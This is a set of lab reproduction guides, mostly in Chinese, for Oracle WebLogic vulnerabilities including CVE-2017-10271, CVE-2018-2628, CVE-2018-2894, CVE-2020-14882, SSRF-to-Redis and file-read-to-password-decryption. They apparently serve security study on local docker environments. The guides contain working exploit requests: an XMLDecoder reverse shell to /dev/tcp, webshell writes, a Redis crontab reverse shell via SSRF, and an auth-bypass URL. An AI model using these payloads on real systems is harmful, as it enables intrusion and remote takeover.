CVE-2017-10271
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
参考链接:
https://www.exploit-db.com/exploits/43458/
https://paper.seebug.org/487/
https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices组件反序列化漏洞分析.md
http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
环境搭建
启动测试环境:
docker-compose up -d
等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。
漏洞复现
发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
成功获取shell:
写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
CVE-2018-2628
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
参考链接:
http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
https://github.com/tdy218/ysoserial-cve-2018-2628
漏洞环境
执行如下命令启动Weblogic 10.3.6.0:
docker-compose up -d
等待环境启动(环境差异,有的机器可能等待的时间比较久),访问http://your-ip:7001/console,初始化整个环境。
漏洞复现
首先下载ysoserial,并启动一个JRMP Server:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。
然后,使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2。
exploit.py执行完成后,执行docker-compose exec weblogic bash进入容器中,可见/tmp/success已成功创建。
CVE-2018-2894
racle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
参考链接:
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ
https://xz.aliyun.com/t/2458
漏洞环境
执行如下命令,启动weblogic 12.2.1.3:
docker-compose up -d
环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面。
执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic。
登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:
漏洞复现
访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
然后点击安全 -> 增加,然后上传webshell:
上传后,查看返回的数据包,其中有时间戳:
CVE-2020-14882
Oracle WebLogic Server is the industry leading application server for building enterprise applications using Java EE standards, and deploying them on a reliable, scalable runtime with low cost of ownership.
In Oracle Critical Patch Update Advisory - October 2020, Oracle fixed two security vulnerabilities submitted by security researcher @Voidfyoo from Chaitin Tech, CVE-2020-14882 and CVE-2020-14883.
CVE-2020-14882 allows remote users to bypass the authentication in administrator console component, and CVE-2020-14883 allows authencated user to execute any command on administrator console component. Using a chain of these two vulnerabilities, unauthenticated remote attacker can execute arbitrary commands on the Oracle WebLogic server over HTTP and take complete control of the host.
References:
https://www.oracle.com/security-alerts/cpuoct2020traditional.html
https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
Environment Setup
Start a Weblogic server 12.2.1.3 by executing the following command:
docker-compose up -d
After the startup is complete, visit http://your-ip:7001/console to view the administrator console login page.
Exploit
Using this URL to bypass the authentication of Console component:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
SSRF漏洞配合Redis
访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用
SSRF漏洞测试
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type。
修改为一个不存在的端口,将会返回could not connect over HTTP to server。
通过错误的不同,即可探测内网状态。
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通:
发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码:
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意,换行符是“\r\n”,也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面,发送:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
成功反弹:
最后补充一下,可进行利用的cron有如下几个地方:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件
Weblogic文件读取
弱口令
环境启动后,访问http://your-ip:7001/console,即为weblogic后台。
本环境存在弱口令:
weblogic
Oracle@123
weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic
任意文件读取漏洞的利用
假设不存在弱口令,如何对weblogic进行渗透?
本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。那么,该漏洞如何利用?
读取后台用户密文与密钥文件
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。
SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,不要找错了:
解密密文
然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文(或者参考这篇文章:http://cb.drops.wiki/drops/tips-349.html ,自己编译一个解密的工具):
可见,解密后和我预设的密码一致,说明成功。
后台上传webshell
获取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表:
点击安装,选择“上载文件”:
上传war包。值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的web/hello.war这个压缩包中,再上传。上传成功后点下一步。
填写应用名称:
继续一直下一步,最后点完成。
应用目录在war包中WEB-INF/weblogic.xml里指定(因为本测试环境已经使用了/hello这个目录,所以你要在本测试环境下部署shell,需要修改这个目录,比如修改成/jspspy):
成功获取webshell: